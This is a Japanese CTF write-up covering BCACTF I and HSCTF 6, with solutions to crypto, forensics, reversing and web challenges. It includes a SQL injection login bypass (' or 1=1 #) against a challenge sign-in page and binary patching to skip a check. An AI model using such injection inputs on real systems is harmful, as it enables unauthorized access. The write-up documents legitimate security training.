BCACTF I Writeup

この大会は2019/6/9 13:00(JST)~2019/6/16 13:00(JST)に開催されました。
今回もチームで参戦。結果は5904点で902チーム中29位でした。
自分で解けた問題をWriteupとして書いておきます。

hello-world (0: welcome 50)

問題にフラグが書いてあった。

bcactf{hello!}

net-cat (0: welcome 50)

ncで接続するだけ。

$ nc challenges.ctfd.io 30126
bcactf{5urf1n_7h3_n37c47_c2VydmVyc2lkZQ}
bcactf{5urf1n_7h3_n37c47_c2VydmVyc2lkZQ}

wuphf (0: welcome 50)

BCACTFのDiscord, Twitter, Instagramにアクセスして、確認すると、フラグの断片があった。

[Discord]
Thanks for joining the Discord! The Discord flag-ment is bcactf{h17

[Twitter]
Thanks for checking out our twitter! Why don't you drop us a follow?
Flag-ment: _u5_uP_d3

[Instagram]
A high school-made, middle to high school-focused CTF. Follow for the latest news and updates.
Flag-ment: VwaGYuY29t}

見つけたフラグの断片を結合すると、フラグになる。

bcactf{h17_u5_uP_d3VwaGYuY29t}

executable (binary-exploitation 150)

$ ./executable-ubuntu
Welcome to the lottery!
So now we're going to pick a ginormous number!
If it's 1, you win!
Your number is 1804289383!
Try again next time!

Ghidraでアセンブリを見る。

    :
        004006a4 83 fb 01        CMP        EBX,0x1
        004006a7 75 7b           JNZ        LAB_00400724
        004006a9 bf 70 08        MOV        EDI=>s_Congratulations,_you're_our_luck_004008   = "Congratulations, you're our l
                 40 00
        004006ae e8 1d fe        CALL       puts                                             int puts(char * __s)
                 ff ff
    :

ebxが1のときに正解する。面倒なので、75 7bを90でつぶして何でも正解するようにして実行する。

$ ./executable-ubuntu_mod
Welcome to the lottery!
So now we're going to pick a ginormous number!
If it's 1, you win!
Your number is 1804289383!
Congratulations, you're our lucky winner!
-
-
[
-
-
-
-
-
>
+
<
]
>
-
-
-
-
.
+
.
-
-
.
+
+
.
-
[
-
-
-
>
+
<
]
>
-
-
.
+
+
+
[
-
>
+
+
+
<
]
>
+
.
+
[
-
-
-
-
-
>
+
<
]
>
.
>
-
[
-
-
-
-
-
>
+
<
]
>
.
+
[
-
-
-
>
+
+
<
]
>
.
[
+
+
>
-
-
-
<
]
>
-
.
-
[
-
>
+
+
<
]
>
-
.
-
[
-
-
-
>
+
<
]
>
-
.
-
.
>
-
[
-
-
-
-
-
>
+
<
]
>
+
.
-
-
-
[
-
>
+
+
<
]
>
.
+
+
+
+
+
+
+
+
+
+
.
[
-
-
>
+
<
]
>
-
-
-
.
-
-
[
-
-
-
>
+
+
<
]
>
-
-
-
.
+
+
[
-
>
+
+
+
<
]
>
.
[
-
-
-
>
+
<
]
>
-
-
-
.
+
+
+
[
-
>
+
+
+
<
]
>
.
+
+
+
+
+
+
+
.
-
[
-
-
-
>
+
<
]
>
-
-
.
-
-
-
-
-
-
-
.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
.
+
[
-
-
>
+
<
]
>
+
.
+
.
+
+
.
+
[
-
>
+
+
<
]
>
.
-
-
.
-
-
-
.
+
+
+
+
+
+
+
+
+
+
+
+
+
.
-
-
[
-
>
+
+
+
+
+
<
]
>
.
+
+
+
+
+
+
+
+
.
+
.
-
-
-
-
-
-
-
.
+
+
.
+
.
>
-
-
[
-
-
>
+
+
+
<
]
>
.

そのまま結合すると、Brainfuck言語になっている。

--[----->+<]>----.+.--.++.-[--->+<]>--.+++[->+++<]>+.+[----->+<]>.>-[----->+<]>.+[--->++<]>.[++>---<]>-.-[->++<]>-.-[--->+<]>-.-.>-[----->+<]>+.---[->++<]>.++++++++++.[-->+<]>---.--[--->++<]>---.++[->+++<]>.[--->+<]>---.+++[->+++<]>.+++++++.-[--->+<]>--.-------.---------------.+[-->+<]>+.+.++.+[->++<]>.--.---.+++++++++++++.--[->+++++<]>.++++++++.+.-------.++.+.>--[-->+++<]>.

https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行すると、フラグが表示される。

bcactf{3x3cut4bl3s_r_fun_124jher089245}

basic-numbers (crypto 50)

2進数をASCIIコードとして、文字にしていく。

codes = '01100010 00110001 01101110 01100001 01110010 01111001 01011111 01110011 00110000 01101100 01110110 00110011 01100100 01011111 01100111 00110000 00110000 01100100 01011111 01110111 00110000 01110010 01101011'
codes = codes.split(' ')

flag = ''
for code in codes:
    flag += chr(int(code, 2))

flag = 'bcactf{%s}' % flag
print flag
bcactf{b1nary_s0lv3d_g00d_w0rk}

cracking-the-cipher (crypto 50)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 2:
the password is learning_caesar_ciphers_is_fun!
bcactf{learning_caesar_ciphers_is_fun!}

three-step-program (crypto 125)

最初の暗号はBase64。デコードする。

>>> base64.b64decode('MzIgLSAgfDMgVGltZXMgQSBDaGFybXwgLSAzMg==')
'32 -  |3 Times A Charm| - 32'

次の暗号のヒントになっているようだ。Base32と推測して、3回デコードする。

>>> import base64
>>> enc = 'JJGTEVSLKNBVISSGINCU2VCTGJFVETCWKNGVGTKLKJEEKQ2VJNEUSNC2KZKVCS2OJFNE4RKPKNFUUSKSJNKTITSDKJFEERKUI5GTETKJLJGVMQ2RJNLEWUSLIZAVES2DJRFE2RKDK5JU2SKKJBCTEVKLJBDUSWSUI5KTETSLKZEVKS2TLJKEWUSFIU2FKU2WJRBEIVCFKFJVASKWIFKU2USLIRDUUR2FGJJEWQ2LKJGFMR2TJNCUYSSIIRFU2U2UJFCTEVKJKZJUMSKKJNKU6VK2KRFVES2VGZKEWUSKIJCVIR2XKNBEUNKGIZDVMMSEJRFEERKDKRJVOR2SJJKUGV2TJVFDKR2VGRLVGSKLJUZEKSKWJNHEWWSKKVDVCSSUJFJEERJUK5JVKTCCIZKEKVCDIVFFUQKWKFITEQSJJZEVKV2SGJDEYQSCKVBVMSSTJFFEMRSFKMZEISKFLJCVSTKTIZEUUTCGJ5JVUV2KJJAVKNSVKNMUWTSBKZKU2MSUJJLEYRCFKEZEETCKJNDECVCSKZFU4QSVI5ITEU2LJZCEMU2VJNDEYRSOIVKVCS2OJRFE4RKPKFNFIS2SINCTEUSTKZGEERCVKNJEGRKKGVDEISKXINBEOVSDIVGVES2DJM2UIVKXKNFUKSS2I5LE2VSLLBGEKWSVJFJFGUCLLJHEKQ2QJI2UQVJWKE6T2PJ5'
>>> for i in range(3):
...     enc = base64.b32decode(enc)
...
>>> enc
'Why english so ard to tok. \nNo speak more English. \nAil gi you tu hints to read my encrypted languich. \n\n1. SALT iz key to gret food!\n2. Le francais crypte le meilleur'

次の暗号のヒントになっているはず。SALTが鍵になっている。暗号から考えるとシフト暗号。シフト数が変わると推測し、復号する。

import string

enc = '''lhlm oad lamaew eyhmgs. lg i sxsro rgu ntee qhj a qesg? dbfcp rgu stne xtve tm lhtl xac, b'dl rh wadr gn jhm ayw zayw at zowr. 
mvscey{bu57_j0n_o4i7_kgbhmffhlqe} bfm, te htjnpw, feim lixx at hhf't mx ko dbepwx...'''

key = 'SALT'.lower()

flag = ''
i = 0
for c in enc:
    if c in string.lowercase:
        idx = string.lowercase.index(c)
        idx = idx - string.lowercase.index(key[i%len(key)])
        if idx < 0:
            idx += 26
        flag += string.lowercase[idx]
        i += 1
    else:
        flag += c

print flag

復号結果は以下の通り。

that was simple enough. so i heard you came for a flag? since you have made it this far, i'll go easy on you and hand it over.
bcactf{ju57_y0u_w4i7_znjhbmnhaxm} but, be warned, next time it won't be so simple...
bcactf{ju57_y0u_w4i7_znjhbmnhaxm}

tupperware (crypto 175)

いろいろ巨大な数字になることを推測して、組み立ててみたがうまくいかない。
タイトルにヒントがあるかと考え、調べていたら、「タッパーの自己言及式」というものがあることがわかった。
en.wikipedia.org
これを使うのであれば、数字3桁部分のみ情報があればよいので、数字3桁部分のみ抜き出す。

from word2number import w2n

with open('k', 'r') as f:
    data = f.read().split('\n')[14]

data = data.replace('<span class="Apple-converted-space">\xc2\xa0 </span>', ' ')
nums = data[31:-12].split(', ')

num_str = ''
for i in range(len(nums)):
    if i != len(nums) - 1:
        num_al = ' '.join(nums[i].split(' ')[:-1])
        num = str(w2n.word_to_num(num_al)).zfill(3)
        num_str += num + ' '
    else:
        num = str(w2n.word_to_num(nums[i])).zfill(3)
        num_str += num

print num_str

実行結果は以下の通り。

004 858 487 703 217 654 168 507 377 105 634 002 647 731 128 499 307 244 851 441 090 357 865 711 033 443 419 793 531 999 883 261 579 086 703 285 988 550 325 970 512 343 063 312 965 327 580 978 241 840 458 705 778 582 504 607 655 879 151 828 149 694 589 867 198 840 959 598 497 597 989 866 084 694 560 490 675 801 786 347 730 851 438 931 275 584 908 138 190 409 481 880 911 319 491 978 644 808 036 817 873 514 056 590 135 331 578 105 862 821 454 454 617 375 919 870 245 363 440 066 372 700 053 263 362 863 694 129 133 765 441 926 533 609 503 994 018 565 319 382 913 454 161 429 058 505 655 350 780 911 229 203 432 392 967 236 137 647 780 308 966 936 691 439 636 980 058 266 693 498 568 235 464 310 907 628 785 433 105 091 526 639

https://takitamblog.tk/skrypty/Tupper/でこの結果を入力し、グラフに表示させる。さらにGraph options and functionsで、Flip verticallyとFlip horizontallyを使って向きを変えると、フラグが表示された。
f:id:satou-y:20190616200532p:plain

bcactf{a11_0ccur}

runescape (crypto 180)

換字式暗号と推測し、ASCII文字に1:1で適当に変換する。

ABCBDE{EFGHIGJBKCJCLKMNMNMOGFKPFGCDQRGJMSLONJPCJJSKNJPTSJSCLURCAGDNBMIAMDNDIDNSJBNURGFM_CABVGEPRNWXLTJSUHFMDIOQYKZ}

https://quipqiup.com/で復号する。

BCACTF{ FREQUENCY ANALYSIS IS VERY GREAT WHEN SOLVING ANNOYING MONO ALPHABETIC SUBSTITUTION CIPHERS_ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z}
bcactf{frequencyanalysisisverygreatwhensolvingannoyingmonoalphabeticsubstitutionciphers_abcdefghijklmnopqrstuvwxyz}

a-major-problem (crypto 200)

https://major-system.info/en/ で各単語の数値(何行目か)を得る。

Pave 98
Pop  99
Poke 97
Pop  99
Dutch 116
Dozen 102
Denim 123
Deism 103
Loot   51
Thatch 116
Pal 95
Atheism 103
Rough 47
Ditch 116
Tonal 125

ASCIIコードとして文字にする。

bcactf{g3t_g/t}

これはフラグとして通らなかった。Roughの行数がずれたと考え、48にして考えると、フラグとして通った。

bcactf{g3t_g0t}

split-the-red-sea (forensics 100)

Stegsolveで開き、Red plane 1を見ると、フラグが書いてある。
f:id:satou-y:20190616201452p:plain

bcactf{7w0_r3d5_sdf3wqa}

bca-craft (forensics 125)

datapacks\bcacraft\data\bca\functions\flag.mcfunctionを見ると、フラグ文字列が入っている。

tellraw @a ["Hello ", {"selector": "@p", "color": "yellow"}, "! The flag is: ", "b", "c", "a", "c", "t", "f", "{", {"text": "m1n3cr4f7_b347s_f0rtn1t3", "color": "blue", "bold": true, "obfuscated": true, "hoverEvent": {"action": "show_text", "value": {"text": "Good luck! ", "extra": [{"text": "Hint: Where does Minecraft store its worlds?", "color": "dark_gray", "italic": true}]}}}, "}"]
bcactf{m1n3cr4f7_b347s_f0rtn1t3}

file-head (forensics 125)

pngのファイルヘッダが壊れている。修正すると、画像を見ることができ、フラグが書かれている。
f:id:satou-y:20190616205022p:plain

bcactf{f1l3_h3ad3rs_r_c001}

open-docs (forensics 150)

解凍すると、word/secrets.xmlBase64文字列が入っている。

PHNlY3JldCBmbGFnPSJiY2FjdGZ7ME94TWxfMXNfNG00ejFOZ30iIC8+
$ echo PHNlY3JldCBmbGFnPSJiY2FjdGZ7ME94TWxfMXNfNG00ejFOZ30iIC8+ | base64 -d
<secret flag="bcactf{0OxMl_1s_4m4z1Ng}" />
bcactf{0OxMl_1s_4m4z1Ng}

wavey (forensics 150)

wavファイルが添付されている。Audacityで開き、スペクトグラムを見る。
f:id:satou-y:20190616205314p:plain

bcactf{f331in_7h3_vib3z}

the-flag-is (forensics 200)

pdfファイルが添付されている。PDFStreamDumperで開き、0x172-0x1D2を見ると、フラグが入っていた。

BT /F1 16 Tf 100 700 Td (bcactf{d0n7_4g3t_4b0u7_1nCr3Men74l_uPd473s}) Tj ET
bcactf{d0n7_4g3t_4b0u7_1nCr3Men74l_uPd473s}

large-pass (reversing 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  long local_20;
  long local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = 0x4cf7983ffb7741c8;
  __printf_chk(1,"Password: ");
  __isoc99_scanf(&DAT_0010098f,&local_20);
  if (local_18 == local_20) {
    puts("Correct password.");
  }
  else {
    puts("Incorrect Password.");
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

入力した文字を数値として扱い、0x4cf7983ffb7741c8と比較している。

>>> 0x4cf7983ffb7741c8
5546068866699313608L
5546068866699313608

survey (0: welcome 25)

簡単にコメントして、Submitしたら得点となった。

HSCTF 6 Writeup

この大会は2019/6/3 20:00(JST)~2019/6/8 8:00(JST)に開催されました。
今回もチームで参戦。結果は14572点で1135チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Miscellaneous)

Discordに入り、#announcementsチャネルでメッセージを見ると、フラグが書いてあった。

hsctf{hi_welcome_to_discord}

Hidden Flag (Miscellaneous)

pngファイルの最後にkey is invisibleと書いてある。"invisible"をXOR鍵として復号する。

with open('chall.png', 'rb') as f:
    enc = f.read()

key = 'invisible'
enc = enc[:-len('key is invisible')-1]

flag = ''
for i in range(len(enc)):
    code = ord(enc[i]) ^ ord(key[i%len(key)])
    flag += chr(code)

with open('flag.png', 'wb') as f:
    f.write(flag)

f:id:satou-y:20190608104448p:plain

hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632}

64+word (Miscellaneous)

Base64文字が100×100に敷き詰められている。フラグがBase64で縦横斜めのどれかに隠れていると推測できる。検索しても横には無かったので、とりあえず縦上からと斜め左上からで検索するスクリプトを組む。

import base64

with open('64word.txt', 'r') as f:
    rows = f.read().split('\n')

def disp_lu_rd(rows, x, y):
    s = ''
    m = max(x, y)
    for i in range(len(rows) - m):
        s += rows[y+i][x+i]
        if len(s) % 4 == 0:
            if '}' in base64.b64decode(s):
                break
    return s

target = base64.b64encode('hsctf{')

## Vertical ##
for y in range(len(rows)-len(target)):
    for x in range(len(rows[0])):
        s = ''
        for i in range(len(target)):
            s += rows[y+i][x]
        if s == target:
            print x, y

## Left Up to Right Down ##
for y in range(len(rows)-len(target)):
    for x in range(len(rows[0])-len(target)):
        s = ''
        for i in range(len(target)):
            s += rows[y+i][x+i]
        if s == target:
            b64 = disp_lu_rd(rows, x, y)
            flag = b64.decode('base64')
            flag = flag[:flag.index('}')+1]
            print flag

左上から斜めに右下方向に隠されていた。

hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}

Inspect Me (Web)

HTMLソースを見ると、コメントにフラグの一部がある。

<!-- The first part of the flag is: hsctf{that_was_ -->

style.cssを見ると、コメントにフラグの一部がある。

body {
    font-family: Arial, Helvetica, sans-serif;
    background-color: #000;
}

main {
    max-width: 70ch;
    padding: 2ch;
    margin: auto;
}

/* The second part of the flag is: pretty_easy_ */

script.jsを見ると、コメントにフラグの一部がある。

document.addEventListener('contextmenu', function(e) {
    e.preventDefault();
});

// The last part of the flag is: right}

全部結合すると、フラグになる。

hsctf{that_was_pretty_easy_right}

Agent Keith (Web)

HTMLソースを見ると、コメントにこう書いてある。

<!-- DEBUG (remove me!!): NCSA_Mosaic/2.0 (Windows 3.1) -->

UserAgentをこのデータにしてアクセスする。

$ curl  -H "User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)" https://agent-keith.web.chal.hsctf.com/
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
        <title>agent-keith</title>
        <link rel="stylesheet" href="http://localhost:8002/static/style.css">
    </head>
    <body>
        <main>
            <h2>If you're not Keith, you won't get the flag!</h2>
            <p><b>Your agent is:</b> NCSA_Mosaic/2.0 (Windows 3.1)</p>
            <p><b>Flag:</b> hsctf{wow_you_are_agent_keith_now}</p>
            <!-- DEBUG (remove me!!): NCSA_Mosaic/2.0 (Windows 3.1) -->
        </main>
    </body>
</html>

レスポンスにフラグが入っていた。

hsctf{wow_you_are_agent_keith_now}

S-Q-L (Web)

問題はSign-inのぺージ。SQLインジェクションをしてみる。

Username: ' or 1=1 #
Password: a

上記入力してサインインすると、フラグが表示された。

Hello Keith!
The flag is hsctf{mysql_real_escape_string}
hsctf{mysql_real_escape_string}

Cool Image (Forensics)

pdf拡張子のファイルが添付されている。

$ file cool.pdf
cool.pdf: PNG image data, 1326 x 89, 8-bit/color RGBA, non-interlaced

pdfではなかったようだ。拡張子をpngにして開く。
f:id:satou-y:20190608112036p:plain

hsctf{who_uses_extensions_anyways}

Cool Image 2 (Forensics)

PNGファイルのシグネチャの前に以下のゴミが入っている。

I found this cool file. Its really cool!

このゴミを取り除き、ファイルを開く。
f:id:satou-y:20190608112429p:plain

hsctf{sorry_about_the_extra_bytes}

Logo Sucks Bad (Forensics)

PNGファイルが添付されている。StegsolveのData ExtractでRGBのLSBをテキストで見る。

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis non velit rutrum, porttitor est a, porttitor nisi. Aliquam placerat nibh ut diam faucibus, ut auctor felis sodales. Suspendisse egestas tempus libero, efficitur finibus orci congue sit amet. Sed accumsan mi sit amet porttitor pellentesque. Morbi et porta lacus. Nulla ligula justo, pulvinar imperdiet porta quis, accumsan et massa. In viverra varius eleifend. Ut congue feugiat leo a ultrices.

Ut risus ipsum, dictum id euismod nec, mattis eu dolor. In aliquam viverra congue. Mauris lacinia lectus quis erat porttitor, vitae iaculis mauris ultrices. Donec quis imperdiet mi, et fermentum purus. Mauris rhoncus sit amet ex quis gravida. In tempor, libero vel finibus tristique, velit est vestibulum est, non semper leo mauris vel enim. Nulla non orci pharetra, bibendum quam a, pharetra felis. Morbi tincidunt, mauris nec aliquam maximus, eros justo rutrum odio, in dapibus sem arcu blandit nunc. Mauris dapibus sem lorem, quis lacinia nunc consectetur pulvinar. Donec sapien erat, pulvinar non fermentum tempor, auctor pellentesque tortor.

Suspendisse id vehicula enim. Cras ut enim sollicitudin, aliquam mauris eget, vehicula arcu. Morbi convallis sed nulla et pellentesque. Cras risus justo, fermentum eget ex ac, dictum dignissim magna. Nullam nec velit vel nulla varius gravida. Aliquam ac lorem tempor, venenatis nibh sed, ultricies urna. In fringilla hendrerit purus, tristique aliquam ipsum molestie vitae. Sed efficitur auctor lacus ac luctus.

Donec id viverra augue. Vivamus nullhsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}a neque, iaculis quis urna eget, gravida commodo quam. Vestibulum porttitor justo in suscipit rutrum. Sed id tristique ipsum. Nulla vel porta nisl. Quisque leo quam, placerat id neque eu, ullamcorper facilisis lacus. Maecenas magna eros, sollicitudin id est a, fermentum elementum leo. Vestibulum porttitor urna eget bibendum interdum. Mauris eget consequat est. Aenean hendrerit eleifend finibus. Sed eu luctus nulla, non tristique nunc. Cras aliquet vehicula tincidunt. Maecenas nec semper ipsum.

Proin pulvinar lacus id malesuada bibendum. Mauris ac sapien eros. Sed non neque id ante porta finibus eget eget enim. Pellentesque placerat, neque sit amet dictum eleifend, tortor dolor porttitor ex, in vestibulum lacus tortor id purus. Phasellus varius nulla sed magna finibus aliquet. Proin eros metus, sodales vel enim eu, imperdiet pulvinar erat. Nunc quis iaculis dui. In cursus a urna in dapibus. Sed eu elementum quam. Vivamus ornare convallis leo sed mollis. Aenean sit amet nulla vel leo cursus dictum ac nec sem. Morbi nec ultrices felis.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            

この長文の中にフラグが含まれていた。

hsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}

Reverse Search Algorithm (Cryptography)

RSA暗号。factordbでnを素因数分解する。

p = 29
q = 19378812610208711050554891591368513578428260883630885898953907471497427917962675301070084754463193723428901453

あとはそのまま復号する。

from Crypto.Util.number import *

n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137
e = 65537
c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777

p = 29
q = 19378812610208711050554891591368513578428260883630885898953907471497427917962675301070084754463193723428901453

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print flag
hsctf{y3s_rsa_1s_s0lved_10823704961253}

Super Secure System (Crypto)

$ nc crypto.hsctf.com 8111
* * * SUPER SECURE SYSTEM * * *
My encryption system is impossible to crack if used once!
You can use this system to encrypt any of your messages with my super special key!!!
Here is my super secret message: 09321f276a3f475b137455033254233e281740131b3f024701711c2c496c030f6d5e686536496539487d692b3706715d2f5d550609

Enter the message you want to encrypt: aaa

Encrypted: 00201d

Enter the message you want to encrypt: bbb

Encrypted: 03231e

XORが固定になっているように見える。XORキーを求め、復号する。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.hsctf.com', 8111))

data = recvuntil(s, 'message: ')
enc_flag = recvuntil(s, '\n').rstrip()
print data + enc_flag

data = recvuntil(s, 'encrypt: ')
try_text = 'a' * (len(enc_flag) / 2)
print data + try_text
s.sendall(try_text + '\n')

data = recvuntil(s, 'Encrypted: ')
enc = recvuntil(s, '\n').rstrip()
print data + enc

key = str_xor(enc.decode('hex'), try_text)
flag = str_xor(enc_flag.decode('hex'), key)
print flag

実行結果は以下の通り。

* * * SUPER SECURE SYSTEM * * *
My encryption system is impossible to crack if used once!
You can use this system to encrypt any of your messages with my super special key!!!
Here is my super secret message: 470f1d53247123393b6a2a5347551a7b5b3c5d064b4630552d7a047d6573005f48564e7252534e01596b5a364a6b6b091305396177

Enter the message you want to encrypt: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Encrypted: 4e1d1f46236b2a682d542f01426b02294f0258021944234d1c2f3a686c213e4d18471c416c411c034d58080846393f5d135d3d3f6b
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?}
hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?}

A Lost Cause (Crypto)

文字列の後ろに行くにつれ、シフト数が減っていくとのことで、26パターン総当たりする。

def decrypt(s, n):
    dec = ''
    for i in range(len(s)):
        code = ord(s[i]) - n + i
        while True:
            if code < ord('A'):
                code += 26
            elif code > ord('Z'):
                code -= 26
            else:
                break
        dec += chr(code)
    return dec

enc = 'CGULKVIPFRGDOOCSJTRRVMORCQDZG'

for i in range(26):
    dec = decrypt(enc, i)
    print dec

実行結果は以下の通り。

CHWOOAOWNAQOABQHZKJKPHKOAPDAI
BGVNNZNVMZPNZAPGYJIJOGJNZOCZH
AFUMMYMULYOMYZOFXIHINFIMYNBYG
ZETLLXLTKXNLXYNEWHGHMEHLXMAXF
YDSKKWKSJWMKWXMDVGFGLDGKWLZWE
XCRJJVJRIVLJVWLCUFEFKCFJVKYVD
WBQIIUIQHUKIUVKBTEDEJBEIUJXUC
VAPHHTHPGTJHTUJASDCDIADHTIWTB
UZOGGSGOFSIGSTIZRCBCHZCGSHVSA
TYNFFRFNERHFRSHYQBABGYBFRGURZ
SXMEEQEMDQGEQRGXPAZAFXAEQFTQY
RWLDDPDLCPFDPQFWOZYZEWZDPESPX
QVKCCOCKBOECOPEVNYXYDVYCODROW
PUJBBNBJANDBNODUMXWXCUXBNCQNV
OTIAAMAIZMCAMNCTLWVWBTWAMBPMU
NSHZZLZHYLBZLMBSKVUVASVZLAOLT
MRGYYKYGXKAYKLARJUTUZRUYKZNKS
LQFXXJXFWJZXJKZQITSTYQTXJYMJR
KPEWWIWEVIYWIJYPHSRSXPSWIXLIQ
JODVVHVDUHXVHIXOGRQRWORVHWKHP
INCUUGUCTGWUGHWNFQPQVNQUGVJGO
HMBTTFTBSFVTFGVMEPOPUMPTFUIFN
GLASSESAREUSEFULDONOTLOSETHEM★
FKZRRDRZQDTRDETKCNMNSKNRDSGDL
EJYQQCQYPCSQCDSJBMLMRJMQCRFCK
DIXPPBPXOBRPBCRIALKLQILPBQEBJ

英文になりそうなものがフラグになる。

hsctf{GLASSESAREUSEFULDONOTLOSETHEM}

Massive RSA (Crypto)

nを素因数分解しようとしたら、n自身が素数であるとわかる。このため phi = n - 1 になる。あとはそのまま復号する。

from Crypto.Util.number import *

n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551
e = 65537
c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943

phi = n - 1
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print flag
hsctf{forg0t_t0_mult1ply_prim3s}

Really Secure Algorithm (Crypto)

nを素因数分解しようとしたら、n は平方数(=p*p)であることがわかる。このため phi = p * (p -1) になる。あとはそのまま復号する。

from Crypto.Util.number import *

n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609
e = 65537
c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847

p = 16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647
assert n == p * p

phi = p * (p - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
